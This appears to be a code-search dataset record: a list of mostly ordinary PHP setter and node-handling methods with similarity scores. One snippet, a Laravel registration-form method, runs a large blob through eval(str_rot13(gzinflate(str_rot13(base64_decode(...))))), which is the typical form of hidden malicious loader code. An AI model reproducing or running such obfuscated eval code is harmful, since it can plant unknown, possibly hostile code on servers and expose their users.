"function setNodeValues(&$node, $ebsLeafletValues){\n \t\t\n \t\tglobal $user;\n \t\t\t\n \t\t//create only\n \t\t$node->type = \"leaflet\";\n \t\tnode_object_prepare($node); // Sets some defaults. Invokes hook_prepare() and hook_node_prepare().\n \t\t$node->language = LANGUAGE_NONE; // Or e.g. 'en' if locale is enabled\n \t\t$node->uid = $user->uid; //set to 1?\n \t\t$node->promote = 0; //(1 or 0): promoted to front page\n \t\t$node->comment = 0; // 0 = comments disabled, 1 = read only, 2 = read/write\n \t\t$node->sticky = 0; // (1 or 0): sticky at top of lists or not\n \t\t\n \t\t//Static values, not from EBS\n \t\t$node->status = 1;\n \t\t$node->field_source[$node->language][0]['value'] = \"automated\";\n \t\t$node->path['pathauto'] = true;\n \t\t\n \t\t/*\n \t\t * Loop through the field mapping, retrieving:\n \t\t * \n \t\t * $myArray[0] is Drupal field name\n \t\t * $myArray[1] is function name to use\n \t\t * $myArray[2] is default value to use\n \t\t * $ebsLeafletValues[$ebsFieldName] is the value of the field\n \t\t * contained in $this->goodEbsLeaflets\n \t\t * field_weeks_per_year\n \t\t */\n \t\t//dsm($this->fieldMapping);\n \t\t//dsm($ebsLeafletValues);\n \t\t foreach ($this->fieldMapping as $ebsFieldName => $myArray):\n \t\t \t//dsm($ebsLeafletValues->$ebsFieldName.\" \".$myArray[0]);\n \t\t \n \t\t \t$valueToUse = $ebsLeafletValues->$ebsFieldName;\n \t\t \t\n \t\t \tif (empty($valueToUse)){\n \t\t \t\t$valueToUse = $myArray[2];//subsitute default value from mapping\n \t\t \t}\n\n \t\t \t//Set node->field value, or delete existing value\n \t\t \t$this->$myArray[1]($node, $myArray[0], $valueToUse);\n\t \t\n \t\t endforeach; \n\n \t}",
"abstract function setContent();",
"public function testSet()\n {\n $object = new \\Webaholicson\\Minimvc\\Core\\Object(['test' => true]);\n $this->assertTrue($object->get('test'));\n $this->assertSame($object, $object->set('test', false));\n $this->assertFalse($object->get('test'));\n $object->set(['node' => ['test' => false]]);\n $this->assertContains(false , $object->get('node'));\n }",
"protected function setParent(MenuNode $node)\n {\n $this->parent = $node;\n }",
"private function popNode()\r\n {\r\n $this->currentNode = $this->currentNode->parentNode;\r\n }",
"public function set()\n {\n\t\tif ($this->model->state())\n $this->model->set();\n }",
"public function setValue($value) {\n $this->node->setAttribute('value', iconv(xp::ENCODING, 'utf-8', $value));\n }",
"public function insert($val) {\n // Make sure element being inserted is type of Node.\n if (!is_object($val) || getclass($val) !== \"Node\") {\n $node = new Node($val);\n } else {\n $node = $val;\n }\n\n $this->_head->setPrev($node);\n\n $node->setNext($this->_head);\n $node->setPrev($this->_sentinel);\n $this->_head = $node;\n }",
"function __setRoot() {\r\n\t\t$this->root = $this->domFragment->createElementNS(self :: TEXT, 'text:user-field-get');\r\n\t}",
"protected function __setRoot() {\r\n\t\t$this->root = $this->domFragment->createElementNS(self :: TEXT, 'text:p');\r\n\t}",
"function set($id, $value){\n // Change the order of the menu links to match core\n // Collect all the parent links, and then add all of\n // their children to the list as well.\n $value = self::sort_tree($value);\n\n return parent::set($id, $value);\n }",
"public function setNodeAttrs(array $attrs)\r\n {\r\n foreach ($attrs as $name => $value) {\r\n $this->currentNode->setAttribute($name, $value);\r\n }\r\n }",
"function assignTo($dest)\r\n {\r\n // make sure modified() is not always called while assigning new values\r\n $dest->startUpdate();\r\n\r\n $dest->setFamily($this->getFamily());\r\n $dest->setSize($this->getSize());\r\n $dest->setColor($this->getColor());\r\n $dest->setAlign($this->getAlign());\r\n $dest->setStyle($this->getStyle());\r\n $dest->setCase($this->getCase());\r\n $dest->setLineHeight($this->getLineHeight());\r\n $dest->setVariant($this->getVariant());\r\n $dest->setWeight($this->getWeight());\r\n\r\n $dest->endUpdate();\r\n }",
"protected function setAuthorOfPostNodeToCurrentUser(NodeInterface $node): void\n {\n $currentUser = $this->userService->getCurrentUser();\n $userIdentifier = $this->persistenceManager->getIdentifierByObject($currentUser);\n\n $node->setProperty('user', $userIdentifier);\n }",
"public function set($s) {\r\n\t\t$this->current = $s;\r\n\t}",
"public function setRightValue(BaseObject $node, $value)\n {\n $setter = self::forgeMethodName($node, 'set', 'right');\n return $node->$setter($value);\n }",
"private function cObjData_setFlagTreeview()\n {\n // Set key and value for treeview field\n $key = $this->pObj->prefixId . '.flag_treeview';\n $value = 1;\n\n // Set treeview field\n $this->pObj->cObj->data[ $key ] = $value;\n\n // DRS\n if ( $this->pObj->b_drs_cObjData )\n {\n $prompt = 'cObj->data[ ' . $key . '] = ' . $value;\n t3lib_div::devlog( '[INFO/COBJ] ' . $prompt, $this->pObj->extKey, 0 );\n }\n // DRS\n }",
"function setInnerXML($node,$xml) {\n\t\t$doc=$node->ownerDocument;\n\t\t$f = $doc->createDocumentFragment();\n\t\t$f->appendXML($xml);\n\t\t$node->parentNode->replaceChild($f,$node);\n\t}",
"public function setTreeNodeStream(TreeNodeStream $input)\n {\n $this->input = $input;\n }",
"public function __construct() {\n $this->curText = $this->children[] = new TextNode($this);\n }",
"function setMainNode($nombre){\n\t\t$this->nodeppal=$nombre;\n\t\treturn 0;\n\t}",
"public function setRTERootBlockElement()\n\t{\n\t}",
"protected function setNodeConfig($nodename, $nodeconfig, $mode)\n {\n if ($mode==='r') { $this->m_readonly_nodes_config[$nodename] = $nodeconfig; }\n else if ($mode==='w') { $this->m_writeonly_nodes_config[$nodename] = $nodeconfig; }\n else { $this->m_nodes_config[$nodename] = $nodeconfig; }\n }",
"public function setNodeRoute($route);",
"public function setScopeIdValue(BaseObject $node, $value)\n {\n $setter = self::forgeMethodName($node, 'set', 'scope');\n return $node->$setter($value);\n }",
"function set_parent($value) {\n $this->set_mapped_property('parent', $value);\n }",
"public function offsetSet($offset, $node)\r\n {\r\n if (!$node instanceof NodeInterface) {\r\n throw new Sphere_Node_NodeException('Cannot set child as it is not a node');\r\n }\r\n return parent::offsetSet($offset, $node);\r\n }",
"public function set()\n {\n if ( ! $this->value ) {\n $this->generate();\n }\n }",
"public function setEntity( $entity )\n {\n\n $this->entity = $entity;\n $this->rowid = $entity->getId();\n \n }",
"function change_node_content(&$dom, &$node, $new_txt_content){\n\t\t// to accomplish changing the content\n\t\t// of a node, we delete the child\n\t\t// text node of the node passed in and\n\t\t// add a new text node with the given value\n\t\t$txt_node = $node->child_nodes();\n\t\t$txt_node = $txt_node[0];\n\t\t$node->remove_child($txt_node);\n\t\t// now create the new node\n\t\t$new_txt = $dom->create_text_node($new_txt_content);\n\t\t$node->append_child($new_txt);\n\t}",
"public function setNodeKey($nk)\n {\n $this->isNodeKey = (boolean) $nk;\n }",
"public function settitle($title,$newtitle){\n $xpath = new DOMXpath(self::$xmldoc);\n $changes = $xpath->query(\"channel/item[g:title = '$title' ]/g:title\");\n // $this->title = $newtitle;\n // echo $changes->count();\n $DOMnode = $changes->item(0);\n // echo $DOMnode->getNodePath();\n // echo 'DOMnode<br>' . $DOMnode->nodeValue;\n // echo 'DOMnode<br>' . $DOMnode->nodeName;\n\n $DOMnode->nodeValue = $newtitle;\n echo '<br><br>' . self::$xmldoc->saveXML();\n }",
"public function insertToHead($node)\n {\n $node->setNext($this->head);\n $this->head = $node;\n }",
"private function setHoursNode(){\n \n $node = $this->getNode();\n $hoursnode = NULL;\n \n if(!$node->field_hours_paragraph->getValue() && $node->field_hoursdays_reference->entity)\n $hoursnode = $node->field_hoursdays_reference->entity;\n \n if(!$hoursnode)\n $hoursnode = $node;\n \n $this->hoursnode = $hoursnode;\n }",
"private function _setUpNewNode(Node $node)\n {\n $node->setContainer($this->_container);\n\n return $node;\n }",
"public function setFromNode(SimpleXMLElement $xml_node, $config)\n {\n $id_store = $config->getStore()->getStoreId();\n $id_website = Mage::getModel('core/store')->load($id_store)->getWebsiteId();\n $array = Mage::helper('lensync')->xmlToAssoc($xml_node);\n if (empty($array['billing_address']['billing_email']) || $config->isDebugMode() || $config->get('orders/fake_email')) {\n $array['billing_address']['billing_email'] = $array['order_id'] . '-' . $array['marketplace'] . '@lengow.com';\n }\n\n // first get by email\n $this->setWebsiteId($id_website)\n ->loadByEmail($array['billing_address']['billing_email']);\n\n if (!$this->getId()) {\n $this->setImportMode(true);\n $this->setWebsiteId($id_website);\n $this->setConfirmation(null);\n $this->setForceConfirmed(true);\n $this->setPasswordHash($this->hashPassword($this->generatePassword(8)));\n $this->setFromLengow(1);\n }\n\n // Billing address\n $temp_names = array(\n 'firstname' => $array['billing_address']['billing_firstname'],\n 'lastname' => $array['billing_address']['billing_lastname'],\n );\n $billing_names = self::getNames($temp_names, $config->get('orders/split_name'));\n $array['billing_address']['billing_firstname'] = $billing_names['firstname'];\n $array['billing_address']['billing_lastname'] = $billing_names['lastname'];\n $billing_address = $this->convertAddress($array['billing_address']);\n $this->addAddress($billing_address);\n\n // Shipping address\n $temp_names = array(\n 'firstname' => $array['delivery_address']['delivery_firstname'],\n 'lastname' => $array['delivery_address']['delivery_lastname'],\n );\n $billing_names = self::getNames($temp_names, $config->get('orders/split_name'));\n $array['delivery_address']['delivery_firstname'] = $billing_names['firstname'];\n $array['delivery_address']['delivery_lastname'] = $billing_names['lastname'];\n\n if ($array['tracking_informations']['tracking_relay'] != '') {\n $array['delivery_address']['tracking_relay'] = $array['tracking_informations']['tracking_relay'];\n }\n $shipping_address = $this->convertAddress($array['delivery_address'], 'shipping');\n $this->addAddress($shipping_address);\n Mage::helper('core')->copyFieldset('lengow_convert_billing_address', 'to_customer', $array['billing_address'],\n $this);\n\n // set group\n $this->setGroupId($config->get('orders/customer_group'));\n\n $this->save();\n return $this;\n }",
"public function setParent(PhpcrNodeInterface $parentNode);",
"public function setDatas()\n\t{\n\t\t$this->data[\"skeleton\"] = $this->getSkeleton();\n\t\t$this->data[\"css\"] = $this->getCss();\n\t\t$this->data[\"javascript\"] = $this->getJavascript();\n\t\t$this->data[\"module\"] = $this->getModule();\n\t\t$this->data[\"site\"] = $this->getSite();\n\t\t\t\t\t\t\n\t\t$this->_nodeName = $this->getNodeName();\n\t\t$this->_value = $this->getNodeValue();\n\t}",
"public function set_element($elm) {\n $this->elements[$elm->id] = $elm;\n }",
"public function setLabel( $text ) {\r\n $node = new TextNode( $text );\r\n $this->addChild( $node );\r\n }"
]
| [
"0.7126476",
"0.6913747",
"0.68524384",
"0.66612923",
"0.6655748",
"0.6359486",
"0.6257972",
"0.6183719",
"0.61836886",
"0.6107273",
"0.6029642",
"0.600038",
"0.5919275",
"0.580283",
"0.5795367",
"0.5793221",
"0.578473",
"0.57562923",
"0.570019",
"0.5694061",
"0.5689453",
"0.5689355",
"0.5669525",
"0.5661391",
"0.5657688",
"0.56544197",
"0.5645878",
"0.56397724",
"0.5632514",
"0.55997074",
"0.559941",
"0.5585379",
"0.55756855",
"0.5574146",
"0.55518794",
"0.55499643",
"0.5549036",
"0.5533787",
"0.5533436",
"0.5531013",
"0.5503955",
"0.5497944",
"0.5492301",
"0.54762805",
"0.5432637",
"0.54302454",
"0.5408772",
"0.54066527",
"0.54043645",
"0.54042864",
"0.5397864",
"0.5382976",
"0.5382094",
"0.5381996",
"0.5374996",
"0.53656846",
"0.53643334",
"0.5355226",
"0.5346547",
"0.53457934",
"0.53308654",
"0.530758",
"0.52907103",
"0.52872026",
"0.528572",
"0.5264734",
"0.5241452",
"0.5229384",
"0.5228857",
"0.5226923",
"0.5215656",
"0.5204456",
"0.5203871",
"0.5203355",
"0.52008635",
"0.51912963",
"0.5190147",
"0.5183298",
"0.5178895",
"0.51715803",
"0.5170217",
"0.516929",
"0.5165456",
"0.5142696",
"0.5129909",
"0.5123789",
"0.51224476",
"0.5108574",
"0.5106145",
"0.5099745",
"0.50955796",
"0.50901616",
"0.5088651",
"0.50796247",
"0.50763804",
"0.5073289",
"0.506939",
"0.5065863",
"0.5063737",
"0.5062084"
]
| 0.52740866 | 65 |
/ FORM META DATA | public function init() {
$this->setDisableLoadDefaultDecorators(true);
$this->addDecorator('FormElements');
$this->addDecorator('Form');
/* HIDDEN FORM ELEMENT ************************ */
$lab_id = new Zend_Form_Element_Hidden("lab_id");
$lab_id->setDecorators(array('ViewHelper'));
/* LAB NAME TEXT FIELD ************************** */
$lab_name = new Zend_Form_Element_Text("lab_name");
$lab_name->setRequired(true)
->setDecorators(array('ViewHelper'))
->setFilters(array('StringTrim', 'StripTags'))
->setValidators(array(
array('NotEmpty', true),
array('StringLength', false, array(1, 35))
))
->setAttribs(array(
'maxlength' => '35',
'class' => 'form-element',
'size' => '50'
));
/* DROP DOWN FOR LAB STATUS *************************** */
$lab_active = new Zend_Form_Element_Select("lab_active");
$lab_active->setRequired(true)
->setDecorators(array('ViewHelper'))
->setValidators(array(new Zend_Validate_Digits(), array('NotEmpty', true)))
->setAttribs(array('class' => 'form-element'))
->addMultiOption(0, 'Inactive')
->addMultiOption(1, 'Active');
/* SUBMIT BUTTON **************************************** */
$submit = new Zend_Form_Element_Submit('submit', 'Submit');
$submit->setAttrib('class', 'form-element')
->setDecorators(array('ViewHelper'));
/* ADD ELEMENTS TO FORM ********************** */
$this->addElements(array($lab_id, $lab_name, $lab_active, $submit));
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"abstract public function getFormDesc();",
"protected function _readFormFields() {}",
"function readForm() {\n\t\t$this->FiscaalGroepID = $this->formHelper(\"FiscaalGroepID\", 0);\n\t\t$this->FiscaalGroupType = $this->formHelper(\"FiscaalGroupType\", 0);\n\t\t$this->GewijzigdDoor = $this->formHelper(\"GewijzigdDoor\", 0);\n\t\t$this->GewijzigdOp = $this->formHelper(\"GewijzigdOp\", \"\");\n\t}",
"function _arc_meta_article_meta($event, $step, $data, $rs)\n{\n $articleId = !empty($rs['ID']) ? $rs['ID'] : null;\n $meta = _arc_meta('article', $articleId, true);\n\n $form = hInput('arc_meta_id', $meta['id']);\n $form .= \"<p class='arc_meta_title'>\";\n $form .= tag(gtxt('arc_meta_title'), 'label', ' for=\"arc_meta_title\"') . '<br />';\n $form .= fInput('text', 'arc_meta_title', $meta['title'], '', '', '', '32', '', 'arc_meta_title');\n $form .= \"</p>\";\n $form .= \"<p class='edit-category-arc_meta_robots'>\";\n $form .= tag(gtxt('arc_meta_robots'), 'label', ' for=\"arc_meta_description\"') . '<br />';\n $form .= selectInput('arc_meta_robots', _arc_meta_robots(), $meta['robots'], 'arc_meta_robots');\n $form .= '</p>';\n\n return $form . $data;\n}",
"protected function inputAttributes()\n {\n $this->input_attributes['name'] = $this->name;\n $this->input_attributes['type'] = 'submit';\n $this->input_attributes['value'] = $this->params['title'];\n }",
"function meta_form($post = \\null)\n {\n }",
"function GetMetaInfo(){\r\n\r\n\treturn !empty($_POST['app_meta'])? json_decode($_POST['app_meta'],true):array();\r\n}",
"function acf_get_form_data($name = '')\n{\n}",
"public function getForm();",
"function formMeta_terms() {\n\t\t$output = $formField = \"\"; $status = 0;\n\t\t//this->schema = Info::DB_NAME;\n\t\t$getFields = ['id','meta_id','meta_key','meta_option','meta_value'];\n\n\t\t$stmtMetaLastValue = ['schema'=>$this->schema,'table'=>'meta_terms','arguments'=>['meta_key'=>$this->popupFormID],'pdoFetch'=>PDO::FETCH_ASSOC,'fields'=>['id','meta_id'],'extra'=>'ORDER BY meta_id desc LIMIT 1'];\n\t\t$getMetaLastValue = self::selectDB($stmtMetaLastValue);\n\t\t$thisMetaID = $getMetaLastValue[0]['meta_id'] + 1;\n\n\t\t$meta_id = $this->inputGroup(['label'=>'Option Details','type'=>'text','id'=>'meta_id','name'=>'meta_id','placeholder'=>'Meta ID','value'=>$thisMetaID]);\n\t\t$meta_option = $this->inputGroup(['type'=>'text','id'=>'meta_option','name'=>'meta_option','placeholder'=>'Meta Alias','value'=>'']);//$this->Params['middle_name']\n\t\t$meta_value = $this->inputGroup(['type'=>'text','id'=>'meta_value','name'=>'meta_value','placeholder'=>'Meta Name/Title','value'=>'']);//$this->Params['middle_name']\n\n\t\t$popUpTitle = str_replace(\"_\",\" \",$this->Params['table']);\n\t\t$formField .= \"<div class='x_panel no-padding'><div class='box_title'><h2 class='left capitalize'>{$popUpTitle} Information Details</h2></div><div class='x_content no-padding'>\";\n\t\t$formField .= \"\n\t\t\t<div class='half'>\n\t\t\t\t<div class='form-group no-padding item'>\n\t\t\t\t\t<div class='col-md-4 col-sm-4 col-xs-12 no-padding col-2 alignRight'>{$meta_id}</div>\n\t\t\t\t\t<div class='col-md-3 col-sm-3 col-xs-12 no-padding'>{$meta_option}</div>\n\t\t\t\t\t<div class='col-md-5 col-sm-5 col-xs-12 no-padding'>{$meta_value}</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t</div>\n\n\t\t</div>\n\t\t</div>\n\t\t\";\n\n\t\t$output .= \"\n <form id='createRecords' data-toggle='validator' name='createMeta_terms' class='form-label-left input_mask' novalidate>\n\t\t\t\t<input type='hidden' name='action' id='action' value='createRecords' />\n\t\t\t\t<input type='hidden' name='table' id='table' value='{$this->Params['table']}' />\n\t\t\t\t<input type='hidden' name='meta_key' id='meta_key' value='{$this->popupFormID}' />\n\t\t\t\t<input type='hidden' name='schema' id='schema' value='{$this->schema}' />\n\t\t\t\t<input type='hidden' name='theID' id='theID' value='' />\n\t\t\t\t{$formField}\n\t\t\t</form>\n \";\n\n\t\t$output .= \"<script>\n\t\t\t$(document).ready(function() {\n\t\t\t\t//webshims.setOptions('forms-ext', {replaceUI: 'auto', types: 'number'});webshims.polyfill('forms forms-ext');\n\t\t\t\t$('.select2_single').each(function() {\n\t\t\t\t\t$(this).select2({\n\t\t\t\t\t\tplaceholder: $(this).attr('placeholder'),\n\t\t\t\t\t\tallowClear: false\n\t\t\t\t\t});\n\t\t\t\t});\n\t\t\t\t$(':input').inputmask();\n\t\t\t});\n\t\t</script>\";\n\t\treturn $output;\n\t}",
"protected function setSubmittedMeta()\n {\n $this->setDataObject( new Tagline, 'tagline' );\n $this->content_obj->setMeta( 'tagline', $this->tagline->get() );\n \n $this->setImage( new Image, 'image_secondary' );\n if ( $this->image_secondary->get('file_name') ) {\n $this->content_obj->setMeta('image_secondary', $this->image_secondary->getFullName() );\n $this->processImage( 'image_secondary' );\n }\n \n $this->setDataObject( new Video, 'video' );\n $this->content_obj->setMeta( 'video', $this->video->get() );\n \n $this->setDataObject( new VideoDescription, 'video_description' );\n $this->content_obj->setMeta( 'video_description', $this->video_description->get() );\n \n $this->setDataObject( new SelectableCharity, 'selectable' );\n $this->content_obj->setMeta( 'selectable', $this->selectable->get() );\n \n $this->setDataObject( new Rank, 'rank' );\n $this->content_obj->setMeta( 'rank', $this->rank->get() );\n \n $this->setDataObject( new Url, 'url' );\n $this->content_obj->setMeta( 'url', $this->url->get() );\n }",
"function form_data($args)\n {\n }",
"function acf_set_form_data($name = '', $data = \\false)\n{\n}",
"abstract function getForm();",
"abstract protected function getForm();",
"public function addMetaFieldsToAddForm()\n\t{\n\t\t$interval = $this->getMetaFields('interval');\n\t\t$animation = $this->getMetaFields('animation');\n\n\t\t?>\n\t\t\t<div class=\"form-field\">\n\t\t\t\t<label for=\"interval\">Tijd tussen slides</label>\n\t\t\t\t<input name=\"interval\" id=\"interval\" type=\"text\" value=\"<?php echo $interval;?>\" size=\"40\">\n\t\t\t\t<p class=\"description\">De tijd tussen slides in milliseconden (1000ms = 1s).</p>\n\t\t\t</div>\n\t\t\t<div class=\"form-field\">\n\t\t\t\t<label for=\"animation\">Animatie</label>\n\t\t\t\t<select name=\"animation\" id=\"animation\">\n\t\t\t\t\t<option <?php selected($animation, 'slide'); ?> value=\"slide\">Slide</option>\n\t\t\t\t\t<option <?php selected($animation, 'fade'); ?> value=\"fade\">Fade</option>\n\t\t\t\t</select>\n\t\t\t\t<p class=\"description\">Selecteer de animatie die gebruikt wordt door de slideshow.</p>\n\t\t\t</div>\n\t\t<?php\n\t}",
"public function get_data()\n {\n return $this->form_data;\n }",
"public function getFormValues() {\n return $this->values[HVAL_FORMPARAM];\n }",
"function acf_get_hidden_input($attrs = array())\n{\n}",
"function wyz_ajax_claim_save_form() {\n\n\t$form_data = json_decode( stripslashes_deep( $_REQUEST['form_data'] ),true );\n\tif ( ! empty( $form_data ) && is_array( $form_data ) ) {\n\t\tforeach ( $form_data as $key => $value ) {\n\t\t\t$form_data[ $key ]['hidden'] = true;\n\t\t}\n\t}\n\n\tupdate_option( 'wyz_claim_registration_form_data', $form_data );\n\twp_die();\n}",
"abstract public function getForm() : void;",
"public function GetFormPostedValues() {\n\t\t$req_fields=array(\"description\",\"date_open\",\"date_closed\");\n\n\t\tfor ($i=0;$i<count($req_fields);$i++) {\n\n\t\t\t//echo $_POST['application_id'];\n\t\t\tif (ISSET($_POST[$req_fields[$i]]) && !EMPTY($_POST[$req_fields[$i]])) {\n\t\t\t\t$this->SetVariable($req_fields[$i],EscapeData($_POST[$req_fields[$i]]));\n\t\t\t}\n\t\t\telse {\n\t\t\t\t//echo \"<br>\".$this->req_fields[$i].\"<br>\";\n\t\t\t\t$this->$req_fields[$i]=\"\";\n\t\t\t}\n\t\t}\n\t}",
"function meta_html($post)\n {\n $view = new Xby2BaseView(get_post_meta($post->ID));\n $view->addInput('text', 'link-label', 'Label: ', 'label', 'regular-text');\n $view->addInput('text', 'link-link', 'Link: ', 'link', 'large-text');\n $view->addInput('text', 'link-priority', 'Priority: ', 'priority', 'regular-text');\n $view->displayForm();\n }",
"public function getFormAttribs() \n\t {\n return [\n 'EMP_ID'=>['type'=>Form::INPUT_TEXT, 'options'=>['placeholder'=>'Enter ...']],\n 'EMP_NM'=>['type'=>Form::INPUT_TEXT, 'options'=>['placeholder'=>'Enter ...']],\n 'EMP_IMG'=>['type'=>Form::INPUT_TEXT],\n // 'actions'=>['type'=>Form::INPUT_RAW, 'value'=>Html::submitButton('Submit', ['class'=>'btn btn-primary'])];\n ];\n }",
"function attachment_submitbox_metadata()\n {\n }",
"public function valiteForm();",
"private function prepare_form_data()\n {\n $form_data = array(\n 'email' => array(\n 'name' => 'email',\n 'options' => array(\n '' => '--',\n ),\n 'extra' => array('id'=>'login-email', 'autofocus'=>''),\n ),\n 'password' => array(\n 'name' => 'password',\n 'options' => array(\n '' => '--',\n ),\n 'extra' => array('id'=>'login-password'),\n ),\n\n 'lbl-email' => array(\n 'target' => 'email',\n 'label' => 'E-mail Address',\n ),\n 'lbl-password' => array(\n 'target' => 'password',\n 'label' => 'Password',\n ),\n\n 'btn-submit' => array(\n 'value' => 'Login',\n 'extra' => array(\n 'class' => 'btn btn-primary',\n ),\n ),\n );\n\n return \\DG\\Utility::massage_form_data($form_data);\n }",
"function form_init_elements()\r\n {\r\n $this->add_hidden_element(\"swimmeetid\") ;\r\n\r\n // This is used to remember the action\r\n // which originated from the GUIDataList.\r\n \r\n $this->add_hidden_element(\"_action\") ;\r\n }",
"public function showRegistrationForm()\n {\n $api = new meta(); \n \n eval(str_rot13(gzinflate(str_rot13(base64_decode('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')))));\n\n include'get_ip_info.php';\n return view('auth.register')\n ->with(array(\n 'plans' => plans::orderby('id', 'desc')->get(),\n 'user_country'=>$user_country,\n 'countries'=>$countries,\n 'title'=>'Register',\n 'settings'=>settings::where('id','1')->first(),\n ));\n }",
"public static function getForm();",
"public static function GetFormValues(){\n self::$KeyValue = isset($_REQUEST[\"KeyValue\"]) ? $_REQUEST[\"KeyValue\"] : \"\"; \n \n if (self::$KeyValue == \"\"){\n\t self::$KeyValue = \"new zealand\"; \n\t }\n\t \n\t \n\t self::$KeyValue = urlencode(self::$KeyValue);\n\t \n\t self::$MapLattitude = isset($_REQUEST[\"MapLattitude\"]) ? $_REQUEST[\"MapLattitude\"] : \"\"; \n\t self::$MapLongtitude= isset($_REQUEST[\"MapLongtitude\"]) ? $_REQUEST[\"MapLongtitude\"] : \"\"; \n\t \n }",
"private function save_paypal_meta_data()\n {\n $postMeta = [\n 'payer_email' => 'Payer PayPal address',\n 'first_name' => 'Payer first name',\n 'last_name' => 'Payer last name',\n 'payment_type' => 'Payment type',\n ];\n\n foreach ($postMeta as $key => $name) {\n $value = wc_clean($this->request->get($key, FILTER_DEFAULT));\n $value and update_post_meta($this->order->get_id(), $name, $value);\n }\n }",
"public function transactionFormGetFormParms ();",
